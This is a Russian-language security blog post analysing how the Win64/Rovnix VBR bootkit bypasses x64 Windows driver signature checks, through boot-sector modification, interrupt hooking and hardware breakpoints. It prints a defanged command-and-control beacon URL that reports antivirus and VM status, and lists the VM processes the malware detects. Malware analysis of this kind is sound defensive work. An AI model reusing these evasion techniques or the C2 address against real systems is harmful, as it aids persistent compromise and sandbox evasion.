Техники обхода проверок цифровой подписи на x64

Множится нынче количество угроз для 64-битных платформ с виндой, причем множатся не только различные троянцы, но и рукиты/буткиты в том числе. Причины очевидны, доля WinXP уверенно снижается, а предустановленных версий Win7(x64) становится все больше. В подтверждение этому факту вот такая интересная статистика за последний год:

Сейчас из наиболее интересных и активных угроз для x64 можно выделить следующие семейства: 

• Win64/Olmarik (MBR bootkit) 
• Win64/Rovnix (VBR bootkit) 
• Win64/TrojanDownloader.Necurs 
• Win64/Spy.Banker 

Используемые ими подходы можно разделить на две большие группы и представить графически в виде следующей схемы:

В принципе все техники с модификацией MBR/VBR необходимы для того, чтобы контролировать процесс загрузки ОС еще на раннем этапе и таким образом обходить проверки безопасности, путем размещения вредоносных модулей в адресном пространстве ядра. Возникает концептуальная проблема, так как системный загрузчик устроен таким образом, что изначально подразумевается его выполнение на доверенной платформе и никак не подразумевается, что эта платформа может быть скомпрометирована с течением времени. Собственно в этом и кроется весь корень зла и успех атак данного типа. Но все же вернемся к теме данного поста. Если про технологии обхода с использованием модификаций MBR я уже не раз говорил, то про VBR буткит, несмотря на его не первую свежесть, информации по прежнему немного. Итак, начнем с самого начала, а точнее с этапов загрузки зараженной системы:

Модификация VBR (Volume Boot Record) осуществляется на уровне NTFS Boot Sector, а точнее модифицирован Extended IPL (Initial Program Loader) блок (последующие 15 секторов следующие за IPL), при помощи которого и осуществляется активность буткит части во время загрузки:

В коде дропера функционал отвечающий за модификацию секторов жесткого диска выглядит следующим образом:

Но самое интересное, конечно в том, как вредоносному коду удается перемещаться из памяти реального режима в память защищенного и после этого попасть еще в адресное пространство ядра ОС. Win64/Rovnix , изменяет загрузочный код NTFS, который выглядит примерно так:

Когда вредоносный код получает управление, то осуществляется перехват 13-го прерывания для модификации NTLDR/Bootmgr, что позволяет получить контроль над загрузчиком. Win64/Rovnix использует нестандартный подход и отличается от того, что встречалось ранее. Во-первых, для переключения режима выполнения (из реального режима в защищенный режим) он использует IDT (таблицы дескрипторов прерываний), которые не используются в системе. Во-вторых, осуществляется перехват INT 1h (обработчика защищенного режима), после чего устанавливаются аппаратные точки останова для того, чтобы осуществлять контроль в определенных точках процесса загрузки ядра операционной системы.

С помощью использования регистров DR0-DR7, вредоносный код получает управление во время инициализации ядра и вручную загружает свой драйвер, минуя все проверки целостности. Сама загрузка драйвера ничем выдающимся не отличается:

Отличительной особенностью вышеописанного метода является его высокая сложность и зависимость от системы. Не совсем понятно, почему злоумышленники выбрали такой не простой путь, ведь разработка и отладка этого метода достаточно долгий и дорогостоящий процесс. 

Ну и на сладкое, вот такой строчкой после успешной установки в систему радует нас Rovnix:

hxxp://213.133.103.217/loPtfdn3dSasoicn/get.php?key=99&id[boy_id]&os=5.1.2600.2av=0&vm=1&al=0&p=12&z=3511

Параметры av и vm заполняются путем поиска в памяти соответствующих процессов и в данном случае список разыскиваемых продуктов достаточно стандартен. По следующим именам процессов определяется выполнение под ВМ:

• VMWare - vmwareuser.exe/vmwaretray.exe
• Virtual PC - vpcmap.exe/vmsrvc.exe
• VirtualBox - vboxservice.exe/vboxtray.exe

В процессе поиска осуществляется проверка не с именем процесса, с хешом, который вычисляется при помощи CRC32. Так, как поиск этих процессов осуществляется уже после установки вредоносной программы в систему, то наличие их в системе и отправка этой информации командному центру влияет на дальнейшее общение с этим ботом. А в случае продолжения активности бота, можно наблюдать вот такие прелестные картинки:

Пост подготовлен по мотивам нашего исследования, проведенного совместно с моим коллегой, Евгением Родионовым ;)